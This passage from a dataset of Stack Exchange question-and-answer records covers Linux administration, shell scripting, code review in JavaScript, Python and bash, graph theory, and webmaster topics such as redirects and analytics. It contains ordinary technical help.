01:33:44:55:66:77, ethertype IPv4 (0x0800), length 34: 127.0.0.1 > 127.0.0.1: ip-proto-0 0..then for some reason Linux virtual-switch does not flood it to all the ports(except the one where the frame came in from). Why is that so? I would expect that switch handles multicast frames exactly like broadcast frames." , "title": "multicast frames in Linux virtual-switch" , "tags": "linux;bridge" } { "id": "_codereview.155840" , "question": "I am wondering if I could implement this in a cleaner, more elegant, strictly functional way:const convert2dArrayToJsonList = (array) => { if (!is2dArrayParsableToJsonList(array)) { throw new Error(The 2D array cannot be converted to a json list + array); } const propertyKeys = array[0]; return array .slice(1) .map( row => { return row.reduce( (accumulatedElement, propertyValue, currentIndex, array) => { accumulatedElement[propertyKeys[currentIndex]] = propertyValue; return accumulatedElement; }, {}); });}The implementation of is2dArrayParsableToJsonList(array) is not relevant in this context, it does what it says.The 2D array parameter has the property keys in the top row and all other rows represent individual elements in the list." , "title": "Converting a 2D array to a JSON list" , "tags": "javascript;array;functional programming" } { "id": "_unix.125264" , "question": "I want to configure my system so that tap-to-click is disabled on the touchpad. (It's running a rather old version of ALTLinux distro with xorg-server-1.4.2-alt10.M41.1.)I'm interested in a solution without running synclient in each X session.Probably, my X server is too old so that it doesn't understand InputClass sections in xorg.conf, as suggested in another answer by Vincent Nivoliers:Section InputClass Identifier touchpad catchall Driver synaptics MatchIsTouchpad on MatchDevicePath /dev/input/event* Option MaxTapTime 0EndSectionThe I get an error; from Xorg.*.log:(==) Using config file: /etc/X11/xorg.confParse error on line 71 of section InputClass in file /etc/X11/xorg.conf InputClass is not a valid section name.(EE) Problem parsing the config file(EE) Error parsing the config fileAlso, my xorg.conf doesn't have any explicit InputDevice sections (with a comment: With libXiconfig we don't need configuration for ps and usb mice.).How do I put the MaxTapTime option into my xorg.conf so that the configuration of my input devices (including the touchpad) is not broken? (If I write explicit InputDevice sections, I might break the correct configuration obtained automatically..)Perhaps, the output of xinput list can be of some use. I do not want to make the question too specific by posting my xinput list and asking what to do in this specific case. Let it be just an example:$ xinput listVirtual core keyboard id=0 [XKeyboard] Num_keys is 248 Min_keycode is 8 Max_keycode is 255Virtual core pointer id=1 [XPointer] Num_buttons is 32 Num_axes is 2 Mode is Relative Motion_buffer is 256 Axis 0 : Min_value is 0 Max_value is -1 Resolution is 0 Axis 1 : Min_value is 0 Max_value is -1 Resolution is 0AT Translated Set 2 keyboard id=4 [XExtensionKeyboard] Type is KEYBOARD Num_keys is 248 Min_keycode is 8 Max_keycode is 255PS/2 Mouse id=3 [XExtensionPointer] Type is MOUSE Num_buttons is 32 Num_axes is 2 Mode is Relative Motion_buffer is 256 Axis 0 : Min_value is -1 Max_value is -1 Resolution is 1 Axis 1 : Min_value is -1 Max_value is -1 Resolution is 1AlpsPS/2 ALPS GlidePoint id=2 [XExtensionPointer] Type is TOUCHPAD Num_buttons is 12 Num_axes is 2 Mode is Relative Motion_buffer is 256 Axis 0 : Min_value is 0 Max_value is -1 Resolution is 1 Axis 1 : Min_value is 0 Max_value is -1 Resolution is 1$ I expect the answer to give some general advice, not specific for this case." , "title": "Can one disable tap-to-click in X server configuration without InputClass sections?" , "tags": "xorg;touchpad;x server;xinput;altlinux" , "accepted_answer": "Besides InputClass there also exists a section called InputDevice which takes nearly the exact same options as InputClass. Of course you cannot use the Match* operators but have to give the device's path explicitly:Section InputDevice Identifier touchpad Driver synaptics Option Device /dev/input/event Option MaxTapTime 0EndSectionYou'll just have to replace with the appropriate device number." } { "id": "_codereview.157809" , "question": "I sometimes do experiments at work and separate the computation and the analysis so I can do the computation on a cluster and the analysis locally and sometimes in a Jupyter notebook. I wrote a class which allows me to save results to a hidden file as if it was a dictionary. The idea is to create an object specifying the name of the experiment and from there you can use it as a dictionary, and it is saved to disk so you can access it from other python files. I'd appreciate any thoughts since IO isn't my forte. I used python 2.7 but I think it should work for python 3.0import osimport cPickle as pickleclass FileDict(): def __init__(self, name, default = None): self.fpath = '.{}.fd'.format(name) self.default = default def __getitem__(self, key): if os.path.isfile(self.fpath): d = pickle.load(open(self.fpath)) if key in d: return d[key] else: return self.default def __setitem__(self, key, value): if os.path.isfile(self.fpath): d = pickle.load(open(self.fpath)) d[key] = value else: d = {key : value} pickle.dump(d, open(self.fpath, 'w'))if __name__ == '__main__': test = FileDict('test', 0) print(test[1]) test[1] = 'thing' print(test[1]) print(test[2])" , "title": "A python default dictionary which seamlessly saves to disk" , "tags": "python;python 2.7;file;io;dictionary" } { "id": "_cs.62323" , "question": "In which stage ( on an ideal 5-stage pipeline ) are branches and hazards handled? How much is the branch penalty for a branch hazard or data hazard. Is there different stages to find data hazards or branch hazards ( meaning for example branch hazards occurs on the 2th stage in the pipeline) or are all hazards detected at a specific stage?" , "title": "Basic question about branches and pipelines" , "tags": "cpu pipelines" } { "id": "_unix.303949" , "question": "I have a directory that contains several sub-directories. There is a question about zipping the files that contains an answer that I ever-so-slightly modified for my needs. for i in */; do zip zips/${i%/}.zip $i*.csv; doneHowever, I run into a bizarre problem. For the first set of folders, where zips/.zip does not exist, I get this error:zip error: Nothing to do! (zips/2014-10.zip) zip warning: name not matched: 2014-11/*.csvhowever when I just echo the zip statements:for i in */; do echo zip zips/${i%/}.zip $i*.csv; doneThen run the echoed command (zip zips/2014-10.zip 2014-10/*.csv), it works fine and zips up the folder. Then the fun part about that is that subsequent runs of the original command will actually zip up folders that didn't work the first time!To test this behavior yourself:cd /tmpmkdir -p 2016-01 2016-02 2016-03 zipsfor i in 2*/; do touch $i/one.csv; donefor i in 2*/; do touch $i/two.csv; donezip zips/2016-03.zip 2016-03/*.csvfor i in 2*/; do echo zip zips/${i%/}.zip $i*.csv; donefor i in 2*/; do zip zips/${i%/}.zip $i*.csv; doneYou'll see that the echo prints these statements:zip zips/2016-01.zip 2016-01/*.csvzip zips/2016-02.zip 2016-02/*.csvzip zips/2016-03.zip 2016-03/*.csvHowever, the actual zip command will tell you: zip warning: name not matched: 2016-01/*.csvzip error: Nothing to do! (zips/2016-01.zip) zip warning: name not matched: 2016-02/*.csvzip error: Nothing to do! (zips/2016-02.zip)updating: 2016-03/one.csv (stored 0%)updating: 2016-03/two.csv (stored 0%)So it's actually updating the zip file with the .csvs where the zip file exists, but not when the zip file is created. And if you copy one of the zip commands:$ zip zips/2016-02.zip 2016-02/*.csvadding: 2016-02/one.csv (stored 0%)adding: 2016-02/two.csv (stored 0%)Then re-run the zip-all-the-things:for i in 2*/; do zip zips/${i%/}.zip $i*.csv; doneYou'll see that it updates for 2016-02 and 2016-03. Here's my output of tree:. 2016-01 one.csv two.csv 2016-02 one.csv two.csv 2016-03 one.csv two.csv zips 2016-02.zip 2016-03.zipAlso, (un)surprisingly, this works just fine:zsh -c $(for i in 2*/; do echo zip zips/${i%/}.zip $i*.csv; done)What am I doing wrong here? (note, I am using zsh instead of bash, if that makes any difference)" , "title": "Why does `zip` in a for loop work when the file exists, but not when it doesn't?" , "tags": "shell script;shell;zsh;quoting;zip" , "accepted_answer": "Expansion by the shellThe quotes around $i*.csv make the difference. With the quotes, the shell expands that string to 2014-11/*.csv. That exact file doesn't exist, and zip reports an error. Without quotes, the * also expands (via filename expansion/globbing), and the resulting zip command is a complete list of matching files, each as a separate argument. You can get the second behaviour, inside the for loop, with:for i in */ ; do zip zips/${i%/}.zip $i*.csv ; doneExpansion by zipzip can also expand wildcards for itself, but not in all situations. From the zip manual:The zip program can do the same matching on names that are in the zip archive being modified or, in the case of the -x (exclude) or -i (include) options, on the list of files to be operated on, by using backslashes or quotes to tell the shell not to do the name expansion.The original command works on subsequent attempts, after you've successfully created an archive, because zip tries to match the wildcards against the contents of the existing archive. They exist there, and still exist on the filesystem, so they're reported with updating:.To get zip to handle the wildcards when creating the archive, use the -r (recurse) option to recurse into the requested directory, and -i (include) to limit it to files matching the pattern: for i in */ ; do zip -r zips/${i%/}.zip $i -i '*.csv' ; done" } { "id": "_unix.308181" , "question": "Fig. 1 Pressing two times CTRL+C in Terminal does not act but puts two line breaks in Matlab's command lineI think there is something wrong with the keybindings. I have tried both Windows and Emacs unsuccessfully. The keybinding works in Mathematica. Debian 8.x is supported by MathWorks for Matlab so it should be supported. Related conditionsTyping CTRL+C in Matlab's prompt does not enter kill but a line break...Differential solutionsOpen Matlab's prompt and enter exit. Open System Monitor and give kill and/or force kill signal to Matlab Matlab: 2016a, 2016b prereleaseHardware: Asus Zenbook UX303UAOS: Debian 8.5Linux kernel: 4.6 (backports)Related: [could not find finally anything; most conditions are related to the condition where you type the thing directly in Matlab's prompt]Service ticket of MathWorks: 02154064 " , "title": "Why Matlab 2016a cannot be killed by Terminal's CTRL-C in Debian 8.5?" , "tags": "debian;keyboard shortcuts;kill;matlab" , "accepted_answer": "The default meaning of Ctrl+C is to send the signal SIGINT. The conventional meaning of SIGINT is to halt the task that's currently running in the foreground and let the user provide new input. I'm using task in the informal meaning of whatever the computer is doing. This is not necessarily a separate process. In a program like Matlab that reads successive commands and processes them a REPL SIGINT is supposed to bring the user back to that program's prompt, not to kill the program. When the foreground task is a program that does one job and then exits, SIGINT is supposed to kill the program since that's the way to bring the user back to the shell prompt.Try Ctrl+\\. This sends the signal SIGQUIT, and the conventional meaning of SIGQUIT is to exit immediately and (if the system is configured for it) leave a core dump. Not all programs keep that meaning, I don't know if Matlab does.If the kill signal keys aren't working, try Ctrl+Z to send SIGSTOP which suspends the program and brings you back to a shell prompt where you can send some other signal. When you suspend a job, the shell shows a message like[1]+ Stopped matlabThe number in brackets is the job number. You can use %1 instead of a process ID to send a signal to the process from that shell, e.g. kill %1 here to send SIGTERM (normal kill signal), and if that doesn't work then kill -KILL %1 (SIGKILL, the kill signal that doesn't give the application a chance).If you can't interrupt the application to reach the shell running on that terminal, kill it from another shell running in another terminal." } { "id": "_cstheory.4866" , "question": "Given a directed graph $G=(V,A)$ with a unique source node $s$ (a node without incoming edges) and a unique sink node $t$ (a node without outgoing edges).Given a sequence of variables $SEQ = (x_{i_1},x_{i_2},...,x_{i_m})$ with $|SEQ| > 2$ and each $i_j \\in [1..m]$For example $SEQ = (x_1,x_2,x_3,x_4,x_2,x_3,x_5)$ (m=5).A node assignment is a function $f: \\{x_1,...,x_m\\} \\rightarrow V$ such that if $i \\neq j$ then $f(x_i) \\neq f(x_j)$ (it maps each $x_j$ to a different node of the graph). Now, if in $SEQ$ we substitute $x_j$ with $f(x_j)$ we obtain a sequence $NODESEQ$ of nodes.We want to start from $s$ and end in $t$ so trivially $x_1 = s, x_m = t$.For example: $NODESEQ = (s,v_1,v_7,v_9,v_1,v_7,t)$A valid node assignment is an assignment such that if we substitute each $x_{i_j}$ with $f(x_{i_j})$ in the sequence $SEQ$ we obtain a valid path from $s$ to $t$.Problem 1:Given a directed graph $G$ with one source and one sink and a sequence of variables $SEQ$ check if a valid node assignment exists.I'm not an expert, but if we take $m=n=|V|$ and $SEQ=(x_1,...,x_n)$ then the problem becomes the Hamiltonian Path problem. Informally HAM-PATH can be reduced to Problem 1, adding a source node $s$ and a sink node $t$, two extra variables at the beginning and end of $SEQ$: $(x_s,x_1,...,x_n,x_t)$ and edges $(s,u), (v,t)$ for every $u,v \\in V$, (hence Problem 1 is in NPC).But we can modify it and drop the condition that if $i \\neq j$ then $f(x_i) \\neq f(x_j)$ i.e we can assign the same node $v$ to more than one $x_i$ (I call it relaxed node assignment). We get an (apparently) simpler problem.Problem 2:Given a directed graph $G$ with one source and one sink and a sequence of variables $SEQ$ check if a valid **relaxed node assignment** exists.An informal way to describe the problem: we have a chain made of segments. Now we wrap it up in some casual order and join some innermost endpoints. The problem 2 consists in checking if such wrapped chain can fit in a given graph.Is this problem known?Is it still an NPC problem?" , "title": "Is it easy to fit a wrapped chain in a graph?" , "tags": "ds.algorithms;graph algorithms" , "accepted_answer": "Allow me to try to redeem my previous incorrect answer with an attempt at showing that this problem is NP-complete via a reduction from GRAPH 3-COLORABILITY. The key idea is to identify SEQ as a list of edges of some graph and observe that a relaxed node assignment corresponds to a graph homomorphism.Let $H = (U, E)$ be a connected, undirected graph with $U = \\{u_1, u_2, \\ldots, u_n\\}$. Let $P = (u_{a_1}, u_{a_2}, \\ldots, u_{a_p})$ be a (non-simple) path in $H$ that traverses every edge at least once (i.e.: if there is an edge between $u_i$ and $u_j$, then they appear consecutively in $P$ in either order). First, we need to show that $P$ is not too long. We can construct $P$ as follows:Start at $u_1$.Visit each neighbor of $u_1$, returning to $u_1$ after each visit. I.e., if the neighbors of $u_1$ are $u_{n_1}, u_{n_2}, \\ldots, u_{n_d}$, we have the following sequence: $u_1, u_{n_1}, u_1, u_{n_2}, u_1, \\dots, u_1, u_{n_d}, u_1$.Travel to $u_2$.Visit each neighbor of $u_2$.etc...By visiting each vertex's neighbors, each edge in $H$ is traversed. Each neighbor visitation step adds $O(n)$ steps to the path. Each travel to a successive vertex adds another $O(n)$ steps. So, in total length of $P = (u_{a_1}, u_{a_2}, \\ldots, u_{a_p})$ is $O(n^2)$.Let $SEQ = (x_0, x_{a_1}, x_{a_2}, x_{a_3},\\ldots,x_{a_p}, x_{n+1})$ be the sequence of variables.Let $G = (V, A)$ be the complete, directed graph on three vertices adjoined with a universal source and a universal sink. Explicitly, let $V = \\{v_1, v_2, v_3, v_{source}, v_{sink}\\}$. There is an arc from $v_{source}$ to $v_i$ and from $v_i$ to $v_{sink}$ for $i=1,2,3$. And, for all $i,j = 1,2,3, i \\neq j$ there is an arc from $v_i$ to $v_j$. Finally, we claim that a valid relaxed node assignment from $SEQ$ to $G$ exists iff $H$ is 3-colorable. Let $c:U \\rightarrow \\{1,2,3\\}$ be a 3-coloring of $H$. Let $f:X \\rightarrow V$ be defined by:$f(x_0) = v_{source}$$f(x_{n+1}) = v_{sink}$$f(x_i) = v_{c(u_i)}$It should be clear that $f$ is a valid relaxed node assignment. It should be equally clear that we can reverse this construction to use any valid relaxed node assignment to define a 3-coloring of $H$." } { "id": "_softwareengineering.264381" , "question": "I have an angular app that concentrates most of its functionality around a primary entity that has several satellite entities. The UI for this is effectively one screen, with a few tabs, one for each satellite. There are also some modal dialogs with content for a couple of the satellites that deserve their own subview, produced by clicking on a link in a tab.The controller for this screen is growing rather large, as it has a set of REST calls for each entity, along with functions to produce and dismiss the various dialogs. All the subviews for the tabs are stuffed into the main screen as well, inside a tab set.How can I split out these files, giving each tab its own controller and view?" , "title": "How can I structure my angular app so that I don't end up with one huge controller and view?" , "tags": "mvc;angularjs" } { "id": "_webmaster.10452" , "question": "Say I have a site 123example.com, with roughly 100 backlinks, which has increased from a google page 27 to page 12 for my keywords over the last month and continues toward the top 10... I have another domain 123.com, which has roughly 30 backlinks, that just points to the 1st domain. I would like to use 123.com as the primary domain and use a 301 redirect on 123example.com.Would I have to start my link building back over again for 123.com or will the backlinks and PR with the 301 redirect of 123example.com transfer over to the new domain?" , "title": "301 redirect and page ranking" , "tags": "domains;pagerank;301 redirect" } { "id": "_unix.67890" , "question": "I am using Debian Squeeze. Suddenly I have started facing a problem that my user is not able to make directories and other such tasks. Running mkdir abc gives memkdir: cannot create directory 'abc': Disk quota exceededMy hard disk is not full df -h results areFilesystem Size Used Avail Use% Mounted on/dev/md1 1.8T 39G 1.8T 3% /tmpfs 7.8G 0 7.8G 0% /lib/init/rwudev 7.8G 148K 7.8G 1% /devtmpfs 7.8G 0 7.8G 0% /dev/shm/dev/md0 243M 31M 200M 14% /bootuname -a output that might be needed isLinux server 2.6.32-5-686-bigmem #1 SMP Sun Sep 23 10:27:25 UTC 2012 i686 GNU/LinuxNote: If I login as root then everything is fine. This problem is only with a particular userEdit: output of quotaDisk quotas for user user (uid 1000): noneoutput of quota -gDisk quotas for group user (gid 1000): Filesystem blocks quota limit grace files quota limit grace/dev/disk/by-uuid/26fa7362-fbbf-4a9e-af4d-da6c2744263c8971324* 1048576 1048576 none 43784 0 0 " , "title": "Disk quota exceeded problem" , "tags": "debian" , "accepted_answer": "The disk isn't full, but the disk space allowed for this user is full. You need to check quota(1), perhaps persuade the suspect to clean up their junk, or in an outburst of kindness increase it with edquota(8)." } { "id": "_unix.318654" , "question": "How could I go about finding uneven file/directory permissions within a directory structure? I've made some attempts at using the find command similar to:find /bin ! \\( -perm 777 -o -perm 776 -o -perm 775 -o -perm 774 -o -perm 773 -o -perm 772 -o -perm 771 -o -perm 770 -o -perm 760 -o -perm 750 -o -perm 740 -o -perm 730 -o -perm 720 -o -perm 710 -o -perm 700 -o -perm 600 -o -perm 500 -o -perm 400 but I run out of command line before I can complete the remaining permutations plus an -exec ls -lL {} \\;I've also been doing manual things similar to:ls -lL /bin | grep -v ^-rwxr-xr-x | grep -v ^-rwx--x--x | grep -v ^-rwsr-xr-x | grep -v ^-r-xr-xr-x | grep -v ^-rwxr-xr-t but again, I run out of command line before I can complete the remaining permutations.Both methods seem unusually awkward. Is there a better, faster, easier way? Note that I'm restricted in the shell I'm using (sh) and platform (Irix 6.5.22)." , "title": "How would I find uneven file permissions within a directory structure?" , "tags": "permissions;find;security;irix" , "accepted_answer": "are you looking for executable files?find . -type f -perm /+xregardless, the / mode is more than likely your friend... here is the man page: -perm /mode Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form. You must specify `u', `g' or `o' if you use a symbolic mode. See the EXAMPLES section for some illustrative examples. If no permission bits in mode are set, this test matches any file (the idea here is to be consistent with the behaviour of -perm -000).UPDATE:right, i though you were looking for uneven numbers (executable ones)...this should work (still using 3rd perm param from findsample data:$ ls000 001 002 003 004 005 006 007 010 020 030 040 050 060 070 100 200 300 400 500 600 700Find command:$ find . -type f \\( -perm /u-x,g+x -o -perm /u-w,g+w -o -perm /u-r,g+r -o -perm /g-x,o+x -o -perm /g-w,o+w -o -perm /g-r,o+r -o -perm /u-x,o+x -o -perm /u-w,o+w -o -perm /u-r,o+r \\) | sort./001./002./003./004./005./006./007./010./020./030./040./050./060./070Basically you are saying, give me files where group has perms but owner does not, or files where world has perms but group does not, or where world has perms but owner does not.note: find has 3x perm params;perm modeperm -modeperm /modeps I'm not all too sure of the value of this..." } { "id": "_webmaster.78322" , "question": "I am a UX designer, and one of my clients had some questions for me about Google Analytics. His organization has a Facebook page and uses some paid Facebook advertising. The comments on many of his Facebook posts (which promote his new blog articles) come from his site's regular readers.Using a time scale in the past 30 days, Google Analytics is showing about 72% new users for his site. In the same time period, about 65% of his traffic from Facebook is new users. (If I shorten the time period to just yesterday, it's about 45% from Facebook and 63% from all sources.) Since he expects most of his audience is regular readers, he would like to know: why would Google Analytics be showing so much of his audience as new?I told him that it's likely to be happening because of some combination of users using private browsing / Do Not Track and cookies not persisting between sessions. But we would like to know if there are any other factors." , "title": "Why does Google Analytics show such a high percentage of traffic from Facebook as new users?" , "tags": "google analytics" } { "id": "_webapps.45376" , "question": "When I receive an e-mail invitation via Google Apps, there are two places where it asks if I'm going, and I'm never sure which one to click (see screenshot). Does it matter which one I click? What's the difference, and why does it always ask twice?" , "title": "Which set of response links should I use when responding to a meeting invitation in Gmail/Google Apps Email?" , "tags": "gmail;google apps email" , "accepted_answer": "There is no difference. The reason there are 2 is because top response is a Gmail add-on that recognizes a Google Calendar invitation, and then displays a Calendar widget to make it easier for you to reply.The second is the actual invitation email message, which does include RSVP links in the body text. The reason you see both is just that Gmail will add the widget automatically. If you invite a non-Gmail user, they will only see the email body text, and will have to use those links.My personal preference is to use the top links for 2 reasons:Clicking on the top link will highlight the RSVP selection in bold and will remember the choice if you open the email again. It's also more convenient to view your agenda as you respond.Clicking on the top link will let you respond in the email itself quickly and let you move on to other email. Clicking the bottom link will open a new tab and take you to Calendar, which is inconvenient when all I want to do is respond quickly and be done with it. I get no new information when forced into Calendar." } { "id": "_unix.189782" , "question": "I am having trouble accessing a folder with a very long name with in its name.seems like every time I try to input the putty window is not parsing the character successfully.Any ideas?" , "title": "putty does not allow me to input special chars" , "tags": "centos;putty" } { "id": "_webmaster.107844" , "question": "Google Search Console shows me my site search page duplicate Title Tag, " , "title": "How can I avoid site search page duplicate title tag error in pagination of site search?" , "tags": "google search console;web crawlers;webmaster" } { "id": "_codereview.20418" , "question": "I've just created a teeny little script to count the seconds until I get auto-logged off. I already solved my issue with my ssh client settings, but I'd still like any help making the bash script nicer to read, or just tips in general.#!/bin/bashcount=0while ( [ : ] )do count=$(($count+1)) n=${n:-0} for i in `seq 0 $n`; do echo -en '\\b'; done n=${#count} echo -n $count sleep 1done" , "title": "Counting seconds until auto-log-off" , "tags": "bash" , "accepted_answer": "count=0while true; do printf \\r%d $((++count)) sleep 1doneYour while condition is doing a lot of work just to return true: you launch a subshell, and evaluate a test giving a 1-character string (which will always return true). Make it simpler and more readable by just executing the true program.Note that variable names inside an arithmetic expression do not require the leading dollar sign in most cases. That's quietly documented here:Within an expression, shell variables may also be referenced by name without using the parameter expansion syntax.printf is more portable than echo, if that's a concern for you. I also find it makes your intentions more obvious.Instead of backing up the right number of characters, just carriage return to the first column and overwrite the previous contents." } { "id": "_unix.182743" , "question": "I've edited /etc/passwd by running usermod -s to change my shell. (chsh doesn't work, because it prompts for a password; we SSH in using keys.)When I disconnect, and reconnect, the change doesn't take effect. I've restarted sshd too, and still nothing." , "title": "Why do changes to /etc/passwd not take effect?" , "tags": "ssh;login" , "accepted_answer": "I use ControlMaster, and I wasn't actually disconnecting.ControlMaster is an SSH configuration option that keeps connections open for a certain time, and can multiplex SSH sessions over the same connection (which avoids key exchanges, which are slow). However, if you ^D from a shell, and then re-run ssh, you've not killed the original connection.Restarting sshd only restarts the listening process: any in-progress session remain alive, so that doesn't restart the connection either.Apparently launching a new shell doesn't re-check /etc/passwd for changes.Solution was just to kill the connection: ssh -O exit, and log in again." } { "id": "_webmaster.43705" , "question": "I have a web site in two different languages (English and Spanish). It is indexed by Google but, when searched, sitelinks below my result appear mixed with Spanish and English subtitles.Each language is in a different folder (mydomain.com/en for pages in English and mydomain.com/es for pages in Spanish).Is there a way to help Google to distinguish between them? The Spanish ones should show for the Spanish speakers and the English ones for the rest of users?" , "title": "How can I prevent Google from mixing different languages in my sitelinks?" , "tags": "seo;google;search engines;sitelinks" , "accepted_answer": "I have a site localized into over forty languages and have no problem with my site links.You don't state what url structure your two sites are in. Google recommends that your internationalized sites be on separate top level domains (example.com vs example.es), different sub-domains (www.example.com vs es.example.com), or different folders (example.com/en/ vs example.com/es/). Any other layout is likely to confuse Google. Also, I don't recommend using the Accept-Language header for dynamically and automatically determine the language to use.Google usually chooses site links from links near the top of the page. They tend to be the links that users click on most. Make sure that you don't have Spanish links on your English pages or the other way round. The link from your English site to your Spanish site would be better placed in your footer than at the top of the page.You should register both your Spanish site and your English site separately in Google Webmaster tools. You can do so even if they are are sub-domains or in directories. Once you have done so you can correct any site links that Google has wrong. Under Configuration -> Sitelinks you can demote any link that Google has wrong for a specific page. Use this feature to demote the Spanish site links that appear on your English site. Fix the ones for your Spanish site too. " } { "id": "_unix.280897" , "question": "I want to extract the process having highest utilization on each processor coreand then output its information (PID etc.) to a file. How can I do it by using either top or ps command?Thanks." , "title": "Process Scheduling Information Extraction" , "tags": "ps;top" , "accepted_answer": "How aboutps -k -pcpu -O pcpu,psr The k flag is your sort key which is percent CPU. Capital O changes the output to add the percent CPU utilisation and the current processor/cpu the process ran on. You get output like: PID %CPU PSR S TTY TIME COMMAND15049 5.8 2 S tty2 00:00:28 chrome14808 4.3 1 S tty2 00:00:21 chrome14448 3.9 5 S tty2 00:00:21 gnome-shell15234 1.8 5 S tty2 00:00:08 chrome14896 1.5 2 S tty2 00:00:07 chrome14322 1.2 0 S tty2 00:00:06 Xorgpercent cpu is the time column divided by the real time. You may get odd results if you have a busy process that then idles (but its average overall is still high or low, depending on what you were expecting).To get something to answer what's keeping my CPU busy in the last few seconds then top is a better tool.Also note, the processes will bounce around on the CPUs, so nailing down why a CPU runs hot can sometimes be tricky to work out. You generally want this to spread the load across them." } { "id": "_unix.345507" , "question": "I have an java application that runs on windows and needs to be moved to linux. The executable for windows takes a config file as input which does a bunch of things like logging settings, classpaths, settings java path and other dependencies. In the config file, logging properties are set in this way: wrapper.logfile.format=LPTM wrapper.logfile.loglevel=INFO wrapper.syslog.loglevel=STATUSHow can this be achieved in the shell script that is going to execute the application? Also, is it possible to have a config file like such for the shell script as well?" , "title": "Log file and properties for shell script" , "tags": "shell script;logs" } { "id": "_codereview.111456" , "question": "I've written a JavaScript dictionary sorting algorithm, which takes a .txt file (the dictionary), and loads it via node's file system. The purpose of this algorithm is to sort every word into its corresponding array based on its letter pattern. For example, the word little would have the letter pattern of ABCCDE, and hello would have the letter pattern of ABCCD. The purpose of this sorting algorithm is to use it to decode substitution ciphers; however, this is the only working code I've written so far for it. This code works, and I have a sorted dictionary file here.However, I want to know how I might be able to improve this algorithm to make it as fast and efficient as possible. Even though its only run once, I want to get into the habit of writing efficient code. To break down exactly what's going on in the algorithm I've added a few comments, but to elaborate it loads each word from the dictionary and stores it in an array, in which I then iterate through the array and each letter of the word. The clpl variable starts at 'A', and it checks if it exists in a temp object. If it does, it adds that letter to the letter pattern, if it does not, it creates a new property on the object and assigns it the current letter as a value. It adds the assigned letter to lp, which is initialized as an empty string.The line clpl = String.fromCharCode(clpl.charCodeAt(0) + 1);gets the next letter. After it has iterated through each letter in the word, it checks if the current letter pattern exists in the sortedDictionary object, if it does it pushes it to an array containing all words with its letter pattern. If it does not, it creates a new array for that letter pattern and pushes the current word to that array. After it has gone through every word, it writes the sortedDictionary object to an external JSON file. //load file systemvar fs = require(fs);//load jsonfilevar jsonfile = require(jsonfile);//create var for dictionary filevar dictFile = american-english, sortedDictFile = sortedDictionary.json;//empty object to hold sorted dictionary according to letter patterns//empty dictionary array to hold wordsvar sortedDictionary = {}, dictionary = [];//declare variables for usevar temp, clpl, lp, word;console.time(Dictionary Sort);fs.readFile(dictFile, utf8, function(error, data){ if(error) throw error; //push all words into an array dictionary = data.toString().split(\\n); for(var i = 0; i < dictionary.length; i++){ //set word to current word in dictionary word = dictionary[i]; //set temp to empty object, clpl to A, and lp to an empty string //this is used to get the current letter pattern temp = {}, clpl = 'A', lp = ''; for(var j = 0; j < word.length; j++){ if(word[j] in temp){ lp += temp[word[j]]; } else { temp[word[j]] = clpl; lp += clpl; clpl = String.fromCharCode(clpl.charCodeAt(0) + 1); } } //if letter pattern of word exists in sorted dictionary if(lp in sortedDictionary){ //add word to the array of words with same letter pattern sortedDictionary[lp].push(word); } else { //if letter pattern is new, create new array to store words sortedDictionary[lp] = []; //add word to the array of words with same letter pattern sortedDictionary[lp].push(word); } } //write the sortedDictionary object to the sortedDictionary.json file jsonfile.writeFile(sortedDictFile, sortedDictionary, {spaces: 2}, function(error){ if(error) throw error; }); //time to sort and write to json file - Dictionary Sort: 687ms (137602 lines) console.timeEnd(Dictionary Sort);});" , "title": "Sorting dictionary according to letter patterns" , "tags": "javascript;node.js;cryptography" , "accepted_answer": "This can be improved and shortened by naming the concepts you are using:A function called encodeWord that takes a single word and returns its encoded valueA function called groupedByCodes which takes an array of words, and returns the object you are seeking: codes as keys, and arrays of words that get encoded to those keys.This will have the following benefits:What your code is doing will be crystal clear.You'll have less codeMost of your temporary variables will vanishI've also purposefully left out the writing and reading of the files, as that's really a separate concern from your main program. Rewriting it this way, you'll get something that looks like this:var sampleFile = CAT\\nDOG\\nTOM\\nBOB\\nTOT, words = sampleFile.split(\\n);console.log(groupedByCodes(words));// { ABC: [ 'CAT', 'DOG', 'TOM' ], ABA: [ 'BOB', 'TOT' ] }function groupedByCodes(words) { return words.reduce(function(dict, word) { var code = encodeWord(word); if (!dict[code]) dict[code] = []; dict[code].push(word); return dict; }, {});}function encodeWord(word) { var encodingDict = {}, nextCode = 65; //'A' return word.split('').map(encodeLetter).join(''); function encodeLetter(l) { return encodingDict[l] || (encodingDict[l] = String.fromCharCode(nextCode++)); }}" } { "id": "_unix.128852" , "question": "My home partition on a Debian wheezy install is an encrypted LVM volume. It is ext3. Earlier today, I had a weird message in a terminal window about an attempt to write to a file in my /home tree failing due to having a read only file system. I rebooted and ended up with an error message saying /dev/sda1 is reported as clean. fsck.ext3, which runs automatically and reports that there is no such device as /dev/mapper/sda1_crypt and reports exit code 8. I get dropped to a maintenance shell and told there was an attempt to write a log to /var/log/fsck/checkfs.That log reads:[Timestamp]fsck from util-linux 2.20.1/dev/mapper/sda1_crypt: Super blocks need_recovery flag is clear, but journal has data./dev/mapper/sda1_crypt: Run journal anyway/dev/mapper/sda1_crypt: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY (i.e., without -a or -p options)fsck died with exit status 4I ran$ fsck -vnM /dev/mapper/sda1A bunch of illegal block #nnnn (mmmmmmmmm) in inode ppppppp IGNORED messages blew past, followed bytoo many blocks in Inode somenumberhereThen running additional passes to resolve blocks claimed by more than one inodeIt then outputPass 1B: Rescanning for multiply claimed blocksAfter a bit, I got a wall ofIllegal block number passed to ext2fs_test_block_bitmap somenumberhere for multiply claimed block mapThese were followed by 2 Multiply claimed blocks in I node anothernumber: [lists of 5 and 8 block numbers]Then I got a number of stanzas like[ 3828.181915] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0[ 3828.182462] ata1.01 BMDMA stat 0x64[ 3828.183810] ata1.01 failed command: READ DMA EXT[ 3828.185889] ata1.01 cmd 25/00:08:08:10:9c/00:00:29:00:00/f0 tag dma 4096 in[ 3828.185891] res 51/40:00:09:10:9c/40:00:29:00:00/f0 Emask 0x9 (media error)[ 3828.190071] ata1.01 status: { DRDY ERR }[ 3828.192153] ata1.01 status: { UNC }These were followed by[ 3830.509338] end_request: I/O error, deb SDA, sector 698093577[ 3830.509841] Buffer I/O error on device dm-3, logical block 87261184Error reading block 87261184 (Attempt to read block from filesystem resulted in short read) while reading I node and block bitmaps. Ignore error? nofsck.ext3: Can't read an block bitmap while retrying to read bitmaps for 